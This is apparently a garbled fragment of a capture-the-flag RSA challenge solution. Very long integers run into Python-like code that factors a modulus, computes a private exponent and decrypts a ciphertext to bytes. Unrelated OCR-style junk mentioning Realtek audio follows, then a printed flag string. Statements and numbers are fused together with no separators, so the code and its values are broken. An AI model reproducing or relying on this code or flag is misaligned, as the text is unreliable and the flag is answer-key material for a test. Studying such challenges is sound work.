8514724270030962172566965941723224386374076294232652258701085781018776172843355920566035157331579524980108190739
1419599265230821422736727418495524751562783971315713600990185920189597856277851301264779827652104985476803672307|
2363442403600953934785434457353784862806146889216619986622798416784313979342968255924131707297937400291260754903
9431398267184818771503468116379618249319324788996321340764624593443106354104274472601170229835219638093242557547
8400608925275769400771629900696870199669468262101123184082697492943665866827326143724342187687205779173687265302
00897558912687470088583774711767599580037663378929000217p2,q2=solve(1,-SUM,MUL)PHI=(p2**2-p2)*(q2**3-q2**2)d2=invert(e,PHI
)c2=255910901685448217617460241787246608395909481904513292274811685764907172422945207398656020610825587597511964
5211772064742659826156857244094237003970293282194136679214017342848834493220357633429264825555117127482882165709
7667106792872200082579319963310503721435500623146012954474613150848083425126987554594651797477741828655238243550
2669722167525937887348363731443632176396124923972288082152058622812787740963176159188544039926207209691737881512
15489908812749179861803144937169587452008097008940710091361183942268245271154461872102813602754439939747566507 11
6519362821255724179093051041994730856401493996771276172343313045755916751082693149885922105491818225012844519264
9331376229290249186194775385215335485517897396989330672123055784804161636091371898917972092775574111696435685403
9230303671995214055443533885167144095286515107738322030529500163281644214402243776308913314188692426577424729030
6669825085862351732336395617276100374237159580759999593028756939354840677333467281632435767033150052439262501059
2990352129280415462599331185642511195889700090168738554785565882501389699385999881984945672411723994537417098404
8695318976428911831287058099311563671072413980970825636021272812778639441167642782843156904627968748136821513756
1500777480380501551616577832499521295655237360184159889151837766353116185320317774645294201044772828099074917077|
8966319096546716125572076538303448976441159363221283514945510046529815507587912854348098168723819004014407435781
04582305215488888563166054568802145921399726673752722820646807494657299104190123945675647n2=40588227045595304080
3603850410822385070442927313444658152960329056335255569437876107126516754608107687627634935791298312710181415915
4620755741081743245513931552767493293308529927759917397191244522653223581458087958531721134952440642420062267588]
0992390782025158621241499693400288031658194434641718026910652327933253877313106112861283314274635124734817398465
0593735621946949578412648343126409262788903860896111037149906465414705773515995269044583426604449685911976068203
6136476164820524104144468114582079905441317946228550966112436207409358349493270624946195424040882708701552550717
3082129412234486228092002841868365895837463699200959915782767657258729794037776401995309244941171415842403617486
7194924836714908345625792255068314968815425305195954389324827968678532341596644094209775261024803851931018837851
6108026957370715662683855150602445548065022430589450196858344234680712692074077978059365087164591514968942429291
2611578291912721896864772950410266629045542480009266574096080138709683466489568290569363478444349563498507530805
5025110511651608271927955201827208024222133642473557752228582146486030347436791874708442125291343749757375109822
8795731687817996460239474960143182316798215743489045924539437072894279011715648526811675805263679441726868090142
0193002289035538753620555488506926366624641291881353268617130968991258983002165300186971963661666476600998389048
8805651993172804283498028244483298985027884922333818730262172029819216546738401420958396033606660494761005612683
36225902504932800605464136192275593886736746497955270280541423593flag2=long_to_bytes(pow(c2,d2,n2))flag=flag1+flag2print(fl

)
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MME v & EFRREF Realtek(R) Audio) v|2 (zoE) SMEE v o)) 155 (Realtek(R) Audic) ~
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4 .
5 %lflag:

lag{f8fbb2c761821d3af23858f721cc140b}
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